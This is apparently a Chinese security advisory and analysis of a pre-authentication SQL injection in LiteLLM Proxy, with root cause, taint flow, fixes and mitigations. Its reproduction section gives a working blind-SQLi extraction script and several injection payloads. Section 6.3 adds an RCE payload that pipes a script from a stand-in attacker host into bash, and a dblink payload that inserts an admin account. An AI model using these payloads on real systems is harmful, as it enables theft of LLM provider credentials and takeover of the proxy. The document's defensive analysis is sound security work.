一、漏洞概述

1.1 基本信息

项目 详情
CVE 编号 CVE-2026-42208
GHSA 编号 GHSA-r75f-5x8p-qvmc
CWE 分类 CWE-89(SQL 命令中特殊元素的不当中和)
CVSS 3.0 评分 9.8(极危)
CVSS 4.0 评分 9.3(Critical)
受影响版本 1.81.16 ≤ LiteLLM < 1.83.7
修复版本 LiteLLM ≥ 1.83.7
漏洞类型 预认证 SQL 注入(Pre-Authentication SQL Injection)
注入机制 Python f-string 字符串拼接
披露时间 2026 年 7 月 1 日(网宿安全演武实验室分析)
PoC 状态 已在互联网公开

1.2 漏洞背景

LiteLLM 是一个开源的大语言模型代理网关(GitHub 46.5k+ Stars),支持统一接口调用 OpenAI、Anthropic、Azure 等 100+ LLM 提供商。其 Proxy 模式使用 PostgreSQL 数据库存储 API Key、团队配置、预算限额及所有上游 LLM 提供商凭据等高度敏感数据。

CVE-2026-42208 存在于 LiteLLM Proxy 的 API Key 认证流程中。攻击者无需任何有效凭据,仅通过在 Authorization 请求头中发送精心构造的 SQL 注入 payload,即可触发注入,读取甚至篡改代理数据库中的全部数据——包括所有 LLM 提供商的 API Key。由于该漏洞位于认证流程本身,因此攻击发生时目标尚未通过认证,属于典型的预认证(Pre-Auth)漏洞,攻击面极大。

1.3 核心危害

  • 零凭据利用:无需任何有效 Token 即可触发
  • 全量凭据泄露:可读取数据库中存储的所有 LLM 提供商 API Key(OpenAI、Anthropic、Azure、Gemini 等 100+ 提供商)
  • 用户数据泄露:可提取用户认证 Token、对话消费日志、团队配置
  • 潜在 RCE:在特定 PostgreSQL 配置下可升级至远程代码执行

二、LiteLLM Proxy 架构基础

2.1 统一 LLM 代理网关定位

LiteLLM Proxy 作为企业内部所有 LLM 请求的统一入口,其核心职责包括:

  1. 统一接口:将 100+ LLM 提供商的异构 API 统一为 OpenAI 兼容格式
  2. 认证授权:验证调用方身份,管理虚拟 API Key(sk- 前缀)
  3. 请求路由:根据模型名称路由到对应的上游 LLM 提供商
  4. 凭据管理:在数据库中集中存储所有上游提供商的真实 API Key
  5. 预算与计费:跟踪 Token 消费、团队预算限额

2.2 架构图

                          ┌─────────────────────────────────────────────────┐
                          │            LiteLLM Proxy (FastAPI)              │
                          │                                                 │
   HTTP 请求               │  ┌──────────┐  ┌──────────┐  ┌──────────────┐  │
 ┌──────────────┐          │  │ 认证中间件 │→│ 路由引擎  │→│ 上游请求转发  │  │
 │ POST         │          │  │ API Key  │  │ Model    │  │ Provider     │  │
 │ /v1/chat/    │─────────▶│  │ 验证     │  │ Mapping  │  │ Adapter      │  │
 │ completions  │          │  └────┬─────┘  └──────────┘  └──────┬───────┘  │
 │              │          │       │                              │          │
 │ Bearer sk-xx │          │       │ SHA256 哈希                   │ API Key  │
 └──────────────┘          │       ▼                              │ 注入     │
                          │  ┌─────────────────────────────┐     │          │
                          │  │   PostgreSQL 数据库          │     │          │
                          │  │  ┌───────────────────────┐  │     │          │
                          │  │  │ LiteLLM_Verification  │  │     │          │
                          │  │  │ Token (用户Token)      │  │     │          │
                          │  │  ├───────────────────────┤  │     │          │
                          │  │  │ LiteLLM_TeamTable     │  │     │          │
                          │  │  │ (团队配置/预算)        │  │     │          │
                          │  │  ├───────────────────────┤  │     │          │
                          │  │  │ 上游提供商 API Key     │  │─────┘          │
                          │  │  │ (OpenAI/Anthropic...) │  │                │
                          │  │  └───────────────────────┘  │                │
                          │  └─────────────────────────────┘                │
                          └─────────────────────────────────────────────────┘
                                              │
                                              ▼
                          ┌─────────────────────────────────────┐
                          │     上游 LLM 提供商 API 集群          │
                          │  OpenAI | Anthropic | Azure | Gemini │
                          └─────────────────────────────────────┘

2.3 认证流程概述

LiteLLM Proxy 启用 API Key 认证后,所有 LLM API 路由(如 /chat/completions/v1/chat/completions)都需要在请求头中携带 Authorization: Bearer sk-xxx 格式的 Token。认证的核心逻辑是:将用户提交的明文 Token 进行 SHA256 哈希后,用哈希值在数据库中查询匹配记录。

2.4 关键数据表

数据表 存储内容 敏感程度
LiteLLM_VerificationToken 用户虚拟 API Key(SHA256 哈希存储)、预算、TPM/RPM 限制 极高
LiteLLM_TeamTable 团队配置、团队级预算、模型权限
LiteLLM_UserTable 用户邮箱、密码哈希、角色 极高
上游 Provider Credentials OpenAI/Anthropic/Azure 等真实 API Key 极高
LiteLLM_SpendLogs Token 消费日志、提示词使用记录

三、漏洞根因深度分析

3.1 正常认证路径(安全)

当用户使用合法的 sk- 前缀 Token 时,认证流程是安全的:

litellm/proxy/auth/user_api_key_auth.py
    → _get_bearer_token_or_received_api_key()    # 提取 Bearer Token
    → assert api_key.startswith("sk-")           # 断言 sk- 前缀
    → hash_token(api_key)                        # SHA256 哈希

litellm/proxy/auth/auth_checks.py
    → get_key_object(hashed_token=hash_token(api_key))
    → _fetch_key_object_from_db_with_reconnect()
    → prisma_client.get_data(token=hashed_token, table_name="combined_view")

安全原因:SHA256 哈希输出仅为 [0-9a-f] 字符,完全不含 SQL 元字符(如单引号 '、分号 ;),因此即使底层使用字符串拼接,也无法构造 SQL 注入 payload。

# 安全路径示例
import hashlib

api_key = "sk-xxxxxxxxxxxxxxxxxxxx"
hashed_token = hashlib.sha256(api_key.encode()).hexdigest()
# hashed_token = "a1b2c3d4e5f6..."  仅含 0-9a-f,无注入风险

# 正常路径下使用 Prisma ORM 参数化查询
# prisma_client.get_data(token=hashed_token)  -- 安全

3.2 漏洞路径(认证失败回调)

漏洞并非存在于主认证流程,而是隐藏在认证失败的错误处理回调路径中。当发送的 Token 不以 sk- 开头时(例如攻击者构造以单引号 ' 开头的 payload),断言失败,程序进入异常处理回调链:

HTTP 请求: Authorization: Bearer <恶意payload>

1. litellm/proxy/auth/user_api_key_auth.py
   → _get_bearer_token_or_received_api_key()     # 提取 Bearer Token
   → assert api_key.startswith("sk-")            # 断言失败!(payload 以 ' 开头)

2. litellm/proxy/auth/user_api_key_auth.py
   → UserAPIKeyAuthExceptionHandler._handle_authentication_error(api_key=api_key)
   # 原始 payload 作为 api_key 传入错误处理器

3. litellm/proxy/auth/auth_exception_handler.py
   → post_call_failure_hook(user_api_key_dict=UserAPIKeyAuth(api_key=api_key))
   # 原始 payload 被封装进 user_api_key_dict

4. litellm/proxy/utils.py
   → post_call_failure_hook()                     # 错误回调链入口
   → [回调链] 再次调用 get_key_object(hashed_token=RAW_PAYLOAD)
   # 注意:此处传入的是原始未哈希的 payload!

5. litellm/proxy/auth/auth_checks.py
   → get_key_object()
   → _fetch_key_object_from_db_with_reconnect()
   → prisma_client.get_data(token=RAW_PAYLOAD, table_name="combined_view")

3.3 关键函数 _hash_token_if_needed()(漏洞核心开关)

这是整个漏洞的核心开关函数,位于 litellm/proxy/utils.py

def _hash_token_if_needed(token: str) -> str:
    """
    Hash the token if it's a string and starts with "sk-"
    Else return the token as is
    """
    if token.startswith("sk-"):
        return hash_token(token=token)
    else:
        return token  # ← 非 sk- 开头的 token 原样返回,不做任何处理!

设计意图:该函数的本意是兼容已经哈希过的 token(SHA256 hex 字符串不以 sk- 开头)。在错误处理回调链中,get_key_object() 可能接收到已经哈希过的 token,因此需要判断是否需要再次哈希。

致命缺陷:这个条件分支同时让攻击者构造的恶意输入畅通无阻地流入后续的 f-string SQL 拼接。攻击者只需确保 payload 不以 sk- 开头(例如以单引号 ' 开头),即可绕过哈希处理,原样注入到 SQL 查询中。

3.4 f-string 拼接注入点

最终注入点位于 litellm/proxy/utils.pyget_data() 函数中。为了构建一个包含用户 Token、团队、项目、组织、预算限额等信息的"组合视图"(combined_view),开发者由于所需 LEFT JOIN 操作的复杂性,选择使用 db.query_raw 原始 SQL 而非 ORM 标准函数:

# 漏洞代码(litellm/proxy/utils.py - get_data())

elif table_name == "combined_view":
    if query_type == "find_unique":
        # 使用 f-string 直接拼接 token 到 SQL 语句中
        sql_query = f"""
            SELECT
                v.*,
                t.spend AS team_spend,
                t.max_budget AS team_max_budget,
                t.soft_budget AS team_soft_budget,
                t.tpm_limit AS team_tpm_limit,
                t.rpm_limit AS team_rpm_limit,
                t.models AS team_models,
                -- [多个其他 SELECT 字段和 JOIN 操作]
            FROM "LiteLLM_VerificationToken" AS v
            LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
            -- [其他 LEFT JOIN...]
            WHERE v.token = '{token}'        # ← f-string 拼接,token 未经哈希!
        """

        # 直接执行拼接后的 SQL
        response = await self._query_first_with_cached_plan_fallback(sql_query)

注入原理:通过 Python f-string(f"""...WHERE v.token = '{token}'"""),{token} 变量被直接拼接进 SQL 语句文本。由于没有使用参数化绑定(如 $1 占位符),任何包含单引号(')的用户可控字符串都能突破 SQL 字符串字面量边界,导致 SQL 注入。

3.5 漏洞触发时的实际执行 SQL

当攻击者发送 Authorization: Bearer ' OR (SELECT pg_sleep(3)) IS NULL -- 时:

-- 数据库实际执行的 SQL:
SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'
--                                  ↑ 攻击者 payload 突破引号边界    ↑ 注释掉尾部引号

3.6 根本原因总结

根因 描述 缺陷类型
哈希保护被绕过 _hash_token_if_needed() 对非 sk- 前缀的 token 原样返回 安全检查仅在主路径
f-string 拼接 SQL get_data() 使用 f-string 拼接而非参数化查询 CWE-89 SQL 注入
错误处理路径不安全 认证失败回调链再次调用 get_key_object(),绕过了主路径的哈希保护 异常处理路径安全缺陷
输入未校验 Bearer Token 格式未做严格校验(未强制要求 sk- 前缀即拒绝) 输入验证缺失

核心教训:这是一个典型的"安全检查仅在主路径"设计缺陷。开发者认为 SHA256 哈希已经保证了安全,却忽略了认证失败回调路径会绕过哈希直接使用原始输入。


四、完整污点传播链

4.1 污点流向 ASCII 图

┌─────────────────────────────────────────────────────────────────────────┐
│                         HTTP 请求入口                                    │
│  Authorization: Bearer '<SQL_PAYLOAD>                                    │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [1] _get_bearer_token_or_received_api_key()                             │
│      文件: litellm/proxy/auth/user_api_key_auth.py                      │
│      动作: 从 Authorization 头提取 Bearer Token                          │
│      污点状态: 原始 payload 完整保留                                      │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [2] assert api_key.startswith("sk-")                                    │
│      文件: litellm/proxy/auth/user_api_key_auth.py                      │
│      动作: 断言失败(payload 以 ' 开头,不满足 sk- 前缀)                  │
│      关键转折: 断言失败 → 触发 AssertionError → 进入异常处理              │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │ AssertionError
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [3] UserAPIKeyAuthExceptionHandler._handle_authentication_error()       │
│      文件: litellm/proxy/auth/user_api_key_auth.py                      │
│      动作: 捕获异常,原始 payload 作为 api_key 参数传入                   │
│      污点状态: 原始 payload 仍完整保留,未做任何过滤                       │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [4] post_call_failure_hook()                                            │
│      文件: litellm/proxy/auth/auth_exception_handler.py                 │
│      动作: 原始 payload 封装进 UserAPIKeyAuth(api_key=payload) 对象       │
│      触发: 注册的失败回调钩子被依次执行                                    │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │ 回调链
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [5] get_key_object(hashed_token=RAW_PAYLOAD)                            │
│      文件: litellm/proxy/utils.py → post_call_failure_hook()             │
│      动作: 回调链中再次调用 get_key_object,传入的是原始 payload          │
│      ⚠ 关键:此处绕过了主路径的 hash_token() 调用                         │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [6] _fetch_key_object_from_db_with_reconnect()                          │
│      文件: litellm/proxy/auth/auth_checks.py                            │
│      动作: 调用 prisma_client.get_data(token=RAW_PAYLOAD)               │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [7] get_data() → _hash_token_if_needed(token)                           │
│      文件: litellm/proxy/utils.py                                       │
│      动作: 检查 token 是否以 "sk-" 开头                                   │
│      结果: payload 以 ' 开头 → 条件不满足 → 原样返回 token               │
│      ⚠ 哈希保护被完全绕过!                                               │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │ 原始 payload
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [8] sql_query = f"""...WHERE v.token = '{token}'"""                     │
│      文件: litellm/proxy/utils.py - get_data()                          │
│      动作: 原始 payload 通过 f-string 拼接进 SQL 语句                    │
│      污点状态: SQL 语句文本被污染                                         │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │ 拼接后的 SQL
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [9] _query_first_with_cached_plan_fallback(sql_query)                   │
│      → self.db.query_first(query=sql_query)                              │
│      动作: 直接执行被污染的 SQL 语句                                      │
│      结果: ★ SQL 注入完成!★                                            │
└─────────────────────────────────────────────────────────────────────────┘

4.2 关键环节详解

4.2.1 断言失败如何进入回调链

user_api_key_auth.py 中,主认证流程使用 assert api_key.startswith("sk-") 进行前缀校验。当 payload 以单引号 ' 开头时,该断言抛出 AssertionError。该异常被 UserAPIKeyAuthExceptionHandler 捕获,调用 _handle_authentication_error(api_key=api_key),其中 api_key 参数携带的是未经任何处理的原始 payload

4.2.2 回调链如何再次调用 get_key_object

在错误处理流程中,post_call_failure_hook() 会被触发。LiteLLM 的设计允许在认证失败时执行自定义回调钩子,这些钩子会尝试通过 get_key_object() 查询数据库以获取更多信息用于错误日志记录或审计。这个看似无害的"再次查询"操作,正是将原始 payload 传递到数据库层的桥梁。

4.2.3 _hash_token_if_needed() 的条件分支逻辑

def _hash_token_if_needed(token: str) -> str:
    if token.startswith("sk-"):
        return hash_token(token=token)   # 路径A:哈希处理(安全)
    else:
        return token                     # 路径B:原样返回(漏洞!)

该函数存在两条路径:

  • 路径 A(安全):token 以 sk- 开头 → SHA256 哈希 → 输出仅含 [0-9a-f]
  • 路径 B(漏洞):token 不以 sk- 开头 → 原样返回 → 保留所有 SQL 元字符

攻击者的 payload 以 ' 开头,必然走路径 B。

4.2.4 f-string 拼接的注入原理

# Python f-string 在运行时将变量值直接插入字符串文本
token = "' OR 1=1--"
sql_query = f"SELECT * FROM keys WHERE v.token = '{token}'"
# 结果: "SELECT * FROM keys WHERE v.token = '' OR 1=1--'"
#                                    ↑ 闭合前引号    ↑ 注入条件  ↑ 注释后引号

f-string 是 Python 3.6+ 的字符串格式化语法,它在运行时{token} 替换为变量的字符串值。这与参数化查询有本质区别:参数化查询中,参数值永远不会被解析为 SQL 语法的一部分,而 f-string 拼接后,变量值已经成为 SQL 语句文本的一部分,会被数据库引擎完整解析。


五、PoC 复现

5.1 环境搭建

使用 Docker Compose 部署受影响版本的 LiteLLM 及 PostgreSQL 后端:

# docker-compose.yml
services:
  db:
    image: postgres:16
    environment:
      POSTGRES_USER: llmproxy
      POSTGRES_PASSWORD: dbpassword9090
      POSTGRES_DB: litellm
    ports:
      - "5432:5432"

  litellm:
    image: ghcr.io/berriai/litellm:main-v1.83.6-nightly
    ports:
      - "4000:4000"
    environment:
      - DATABASE_URL=postgresql://llmproxy:dbpassword9090@db:5432/litellm
    depends_on:
      - db
    command: ["--config", "/app/config.yaml"]
# 启动环境
docker compose up -d

# 验证服务可用
curl http://127.0.0.1:4000/health/readiness

5.2 攻击请求构造

5.2.1 时间盲注验证(确认注入点)

POST /v1/chat/completions HTTP/1.1
Host: 127.0.0.1:4000
Authorization: Bearer ' OR (SELECT pg_sleep(3)) IS NULL --
Content-Type: application/json

{"model": "fake", "messages": [{"role": "user", "content": "test"}]}

数据库实际执行:

WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'

当服务器响应延迟约 3 秒时,确认注入点存在。

5.2.2 UNION 注入提取数据

POST /v1/chat/completions HTTP/1.1
Host: target:4000
Authorization: Bearer ' UNION SELECT api_key,1,1,1,1,1,1,1,1,1 FROM litellm_keys--
Content-Type: application/json

{"model": "gpt-4", "messages": [{"role": "user", "content": "test"}]}

5.3 攻击变体

5.3.1 时间盲注(Time-Based Blind)

由于注入查询最终返回的 Token 对象无法通过认证(返回 401 Unauthorized),攻击者无法直接从 HTTP 响应中读取数据库输出,必须依赖布尔盲注 + 时间侧信道

# 时间盲注 payload:逐字符提取数据
payload = "' OR (ASCII(SUBSTRING((SELECT token FROM \"LiteLLM_VerificationToken\" LIMIT 1), 1, 1)) > 64 AND (SELECT pg_sleep(2)) IS NOT NULL) --"

5.3.2 二分搜索数据提取 PoC

以下是完整的盲注数据提取脚本,使用二分搜索算法逐字符提取任意表中的数据:

import argparse
import json
import sys
import time
import urllib.request


def test_payload(url, token, sleep_time):
    """发送注入 payload 并测量响应时间"""
    body = json.dumps({
        "model": "fake",
        "messages": [{"role": "user", "content": "x"}]
    }).encode()
    req = urllib.request.Request(
        url, data=body, method="POST",
        headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    )
    start = time.time()
    try:
        urllib.request.urlopen(req, timeout=sleep_time + 1)
    except Exception:
        pass
    return time.time() - start


def extract_string(url, query, sleep_time=1.0):
    """使用二分搜索逐字符提取查询结果"""
    extracted = ""
    idx = 1
    while True:
        # 检查字符串是否已结束
        check_end = (
            f"' OR (LENGTH(({query})) < {idx} "
            f"AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
        )
        if test_payload(url, check_end, sleep_time) >= sleep_time:
            break

        # 二分搜索当前字符的 ASCII 值
        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            payload = (
                f"' OR (ASCII(SUBSTRING(({query}), {idx}, 1)) > {mid} "
                f"AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
            )
            if test_payload(url, payload, sleep_time) >= sleep_time:
                low = mid + 1
            else:
                high = mid - 1

        extracted += chr(low)
        sys.stdout.write(chr(low))
        sys.stdout.flush()
        idx += 1
    print()
    return extracted


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="LiteLLM Blind SQLi Data Extractor")
    parser.add_argument("--url", default="http://127.0.0.1:4000/v1/chat/completions")
    parser.add_argument("--table", default="LiteLLM_VerificationToken",
                        help="Target table to extract from")
    parser.add_argument("--column", default="token", help="Column to extract")
    parser.add_argument("--row", type=int, default=0, help="Row index (OFFSET)")
    args = parser.parse_args()

    query = f'SELECT {args.column} FROM "{args.table}" LIMIT 1 OFFSET {args.row}'
    print(f"[*] Extracting: {query}")
    extract_string(args.url, query)
# 提取用户邮箱
python exploit.py --table LiteLLM_UserTable --column user_email --row 0

# 提取 API Key
python exploit.py --table LiteLLM_VerificationToken --column token --row 0

5.3.3 布尔盲注

通过认证成功(200)/ 失败(401)的 HTTP 状态码差异作为布尔判据:

# 布尔盲注 payload
payload_true  = "' OR (1=1) --"       # 条件为真 → 可能返回不同错误
payload_false = "' OR (1=2) --"       # 条件为假 → 认证失败

5.3.4 PostgreSQL 特性利用

利用方式 Payload 示例 说明
时间延迟 ' OR (SELECT pg_sleep(5)) IS NULL -- 强制延迟 5 秒
字符串截取 SUBSTRING((SELECT ...), pos, 1) 逐字符提取
ASCII 比较 ASCII(SUBSTRING(...)) > N 二分搜索字符值
长度判断 LENGTH((SELECT ...)) < N 判断字符串长度

5.4 验证方法

  1. 响应延迟验证:发送 pg_sleep(3) payload,观察响应时间是否延迟约 3 秒
  2. 数据提取验证:使用二分搜索脚本提取已知数据(如测试时插入的邮箱),比对结果
  3. 日志审计验证:检查 LiteLLM_SpendLogs 表中是否记录了原始 payload(LiteLLM 会将无效 Key 的原始值记入消费日志)

六、危害分析

6.1 直接危害

  • 读取代理数据库全部数据:通过盲注可逐字符提取任意表、任意列的数据
  • 窃取全部 LLM 提供商 API Key:OpenAI、Anthropic、Azure、Gemini 等 100+ 提供商的凭据被窃取
  • 窃取用户认证 TokenLiteLLM_VerificationToken 表中的哈希 Token 被提取
  • 窃取用户敏感信息LiteLLM_UserTable 中的邮箱、密码哈希、角色信息
  • 篡改数据库内容:在特定配置下可执行 INSERT/UPDATE 操作

6.2 间接危害

  • API Key 滥用产生巨额费用:使用窃取的上游 API Key 直接调用 LLM 提供商,绕过 LiteLLM 的预算控制
  • 访问其他用户对话历史LiteLLM_SpendLogs 表记录了详细的提示词使用记录
  • 请求路由劫持:篡改路由配置,将 LLM 请求重定向到攻击者控制的服务器
  • 管理员接管:通过 dblink 绕过 ORM 限制插入管理员账户,接管 LiteLLM Dashboard

6.3 高级利用:从数据泄露到 RCE

6.3.1 COPY TO PROGRAM 实现 RCE

当 PostgreSQL 以 superuser(如 postgres)运行时,攻击者可利用 COPY TO PROGRAM 实现远程代码执行:

' OR (SELECT COPY (SELECT 'id') TO PROGRAM 'curl http://attacker/shell.sh|bash') IS NOT NULL) --

或使用 pg_read_file() 读取服务器敏感文件(SSH 密钥、环境变量)。

Prisma ORM 驱动会阻止堆叠查询(; 分隔的多语句),但若 PostgreSQL 启用了 dblink 扩展,攻击者可在 SELECT 语句中注入 dblink_exec() 打开独立连接执行写操作:

' OR (SELECT dblink_exec(
    'dbname=litellm',
    'INSERT INTO "LiteLLM_UserTable" (user_email, password, user_role)
     VALUES (''hacked@lab.local'', ''scrypt:...'', ''proxy_admin'')'
)) IS NOT NULL --

这将一个只读数据泄露漏洞升级为完整的管理员接管。

6.4 影响范围表

危害等级 影响范围 具体后果 利用难度
极危 LLM API Key 泄露 100+ 提供商凭据被窃取,可直接调用上游 API 低(盲注即可)
极危 用户凭据泄露 Token 哈希、密码哈希被提取,可冒充用户
高危 消费日志泄露 对话提示词、Token 使用记录被读取
高危 管理员接管 通过 dblink 插入管理员账户,接管 Dashboard 中(需 dblink)
高危 远程代码执行 通过 COPY TO PROGRAM 在数据库服务器执行命令 中(需 superuser)
中危 配置篡改 请求路由劫持、模型映射篡改
低危 审计日志破坏 SpendLogs 数据被篡改或清除

七、修复方案与防御

7.1 官方修复

升级至 LiteLLM ≥ 1.83.7。核心改动是将 f-string 拼接替换为参数化查询:

# 修复后代码(LiteLLM 1.83.7+)
# litellm/proxy/utils.py - get_data()

elif table_name == "combined_view":
    if query_type == "find_unique":
        # 使用参数化绑定 $1,而非 f-string 拼接
        sql_query = """
            SELECT
                v.*,
                t.spend AS team_spend,
                t.max_budget AS team_max_budget,
                t.soft_budget AS team_soft_budget,
                t.tpm_limit AS team_tpm_limit,
                t.rpm_limit AS team_rpm_limit,
                t.models AS team_models
            FROM "LiteLLM_VerificationToken" AS v
            LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
            WHERE v.token = $1                    -- ← 参数化占位符
        """
        # token 作为绑定参数传入,而非拼入 SQL 文本
        response = await self._query_first_with_cached_plan_fallback(
            sql_query, token                      -- ← 参数化绑定
        )

7.2 修复原理分析

┌─────────────────────────────────────────────────────────────────────┐
│                     修复前后对比                                      │
├──────────────────────┬──────────────────────────────────────────────┤
│     修复前(漏洞)     │            修复后(安全)                      │
├──────────────────────┼──────────────────────────────────────────────┤
│ f"""...WHERE         │ """...WHERE                                  │
│ v.token='{token}'""" │ v.token = $1"""                              │
│                      │                                              │
│ token 值成为 SQL      │ token 值作为绑定参数传递                        │
│ 文本的一部分          │ 数据库驱动将其视为纯字符串字面量                │
│                      │                                              │
│ 单引号可突破边界      │ 单引号被自动转义/隔离                          │
│ → SQL 注入           │ → 无法注入                                   │
└──────────────────────┴──────────────────────────────────────────────┘

即使 _hash_token_if_needed() 仍对非 sk- 前缀的 token 原样返回,参数化查询由 PostgreSQL 驱动安全处理,攻击者的 payload 永远不会被解析为 SQL 语法,彻底消除注入风险。

7.3 临时缓解措施

若无法立即升级,可设置 disable_error_logs: true 切断攻击路径:

# litellm_config.yaml
general_settings:
  disable_error_logs: true    # 禁用错误处理路径,移除未认证输入到达漏洞查询的路径

该配置移除了错误处理回调路径(即漏洞触发的路径),使未认证输入无法到达 get_data() 中的漏洞 SQL 查询,从而中和攻击向量。

7.4 WAF 防护

网宿全站防护-WAF 已支持对该漏洞利用攻击的防护,防护策略包括:

  • 拦截 Authorization 头中的 SQL 关键字(UNIONSELECTpg_sleepOR-- 等)
  • 检测异常长的 Bearer Token(正常 Token 为固定长度的哈希值或 sk- 前缀字符串)
  • 检测 Bearer Token 中的 SQL 元字符(单引号、分号、注释符)

7.5 凭据轮换

若已部署受影响版本,即使已升级,也应执行以下操作:

  1. 立即轮换所有 LLM 提供商 API Key(OpenAI、Anthropic、Azure 等)
  2. 轮换 LiteLLM 虚拟 API Key(所有 sk- 前缀的用户 Token)
  3. 检查数据库访问日志中的异常查询(pg_sleepSUBSTRINGdblink 等)
  4. 审计 LiteLLM_SpendLogsapi_key 字段是否出现原始 SQL payload

7.6 深度防御建议

防御层 措施 说明
代码层 所有数据库操作使用参数化查询 ORM 或原生参数绑定($1),禁止 f-string/%/+ 拼接 SQL
输入层 Bearer Token 格式校验 强制 sk- 前缀,非匹配格式直接拒绝(400 Bad Request)
架构层 错误处理路径安全审计 异常回调链需与主路径同等安全,不应传递未过滤输入
存储层 API Key 加密存储 上游提供商凭据应加密存储,非明文
数据库层 最小权限原则 数据库用户禁止 superuser,禁用 COPYdblink 等危险功能
监控层 异常查询检测 监控 pg_sleepSUBSTRINGUNION 等注入特征

八、LLM 基础设施安全启示

8.1 LLM 代理网关的攻击面

LLM 代理网关作为所有 LLM 请求的中枢节点,是高价值攻击目标:

┌───────────────────────────────────────────────────────────┐
│              LLM 代理网关攻击面全景                         │
├───────────────┬───────────────────────────────────────────┤
│   攻击向量     │                  风险                      │
├───────────────┼───────────────────────────────────────────┤
│ 认证机制       │ 预认证漏洞 → 无凭据访问(本 CVE)           │
│ 凭据存储       │ API Key 集中存储 → 单点泄露全量凭据          │
│ 请求路由       │ 路由篡改 → 请求劫持到恶意 LLM               │
│ 预算/计费      │ 计费绕过 → 免费使用上游 API                 │
│ Prompt 处理    │ Prompt 注入 → 间接攻击上游模型              │
│ 日志记录       │ 对话历史泄露 → 隐私违规                     │
│ 插件/MCP 集成  │ 插件漏洞 → 横向移动                         │
└───────────────┴───────────────────────────────────────────┘

LLM 代理网关集中存储所有上游提供商凭据、管理用户认证、控制请求路由,一旦被攻破,影响范围远超单个应用漏洞——它意味着企业整个 AI 基础设施的沦陷。

8.2 f-string 拼接 vs 参数化查询

Python 中使用 f-string 拼接 SQL 是常见的安全反模式:

对比项 f-string 拼接(危险) 参数化查询(安全)
语法 f"WHERE v = '{token}'" "WHERE v = $1" + params=[token]
原理 变量值成为 SQL 文本的一部分 变量值作为独立参数传递给驱动
单引号处理 破坏字符串边界 → 注入 自动转义/隔离 → 安全
性能 每次生成不同 SQL → 无法缓存执行计划 相同 SQL 结构 → 可缓存执行计划
审计 难以区分用户输入与 SQL 结构 参数与 SQL 结构明确分离
ORM 兼容 绕过 ORM 安全机制 与 ORM 参数绑定一致
# ❌ 危险:f-string 拼接
sql = f"SELECT * FROM users WHERE id = '{user_input}'"
cursor.execute(sql)

# ❌ 危险:% 格式化
sql = "SELECT * FROM users WHERE id = '%s'" % user_input
cursor.execute(sql)

# ❌ 危险:+ 拼接
sql = "SELECT * FROM users WHERE id = '" + user_input + "'"
cursor.execute(sql)

# ✅ 安全:参数化查询
sql = "SELECT * FROM users WHERE id = $1"
cursor.execute(sql, (user_input,))

# ✅ 安全:ORM 参数绑定
User.objects.filter(id=user_input)

8.3 错误处理路径安全

"安全检查仅在主路径"是本次漏洞最深刻的设计教训:

┌──────────────────────────────────────────────────────────────┐
│           主路径 vs 错误处理路径安全模型                        │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│   用户输入                                                    │
│      │                                                       │
│      ├──▶ [主路径] ──▶ 安全检查 ──▶ 哈希/过滤 ──▶ 数据库     │
│      │              ✅ 安全                                    │
│      │                                                       │
│      └──▶ [错误处理路径] ──▶ 异常回调 ──▶ 数据库              │
│                         ⚠ 缺少同等安全检查!                   │
│                         (本 CVE 的核心问题)                  │
│                                                              │
└──────────────────────────────────────────────────────────────┘

安全代码审计清单

8.4 与其他 LLM 基础设施漏洞对比

维度 LiteLLM CVE-2026-42208 SiYuan CVE-2026-66012 传统 Web SQLi
漏洞类型 预认证 SQL 注入 MCP 接口缺失授权 SQL 注入
根因 f-string 拼接 + 错误路径绕过 接口未鉴权 字符串拼接
认证要求 无需认证(预认证) 无需认证 视场景而定
影响资产 LLM 提供商 API Key 知识库/管理员权限 业务数据
CVSS 9.8 高危 视场景而定
利用难度 低(盲注即可) 低(直接访问接口)
危害特征 凭据全量泄露 + 潜在 RCE 数据泄露 + RCE 数据泄露
修复方式 参数化查询 添加授权校验 参数化查询
启示 错误路径安全 + 参数化 接口默认拒绝 参数化查询

8.5 总结

CVE-2026-42208 是一个极具教育意义的漏洞,它完美展示了三个安全原则被违反后的灾难性后果:

  1. 参数化查询是不可妥协的底线:无论输入是否经过哈希/过滤,数据库操作都必须使用参数化查询。f-string 拼接 SQL 是 Python 中最常见的安全反模式之一。

  2. 安全检查必须覆盖所有路径:主路径的 SHA256 哈希保护看似完善,但错误处理回调路径的绕过使一切防护形同虚设。异常处理路径必须与主路径接受同等强度的安全审查。

  3. LLM 基础设施是高价值攻击目标:LLM 代理网关集中存储所有上游提供商凭据,一旦被攻破等同于企业整个 AI 基础设施沦陷。在 AI 快速发展的当下,LLM 基础设施的安全应当获得与传统核心基础设施同等的重视程度。


参考资料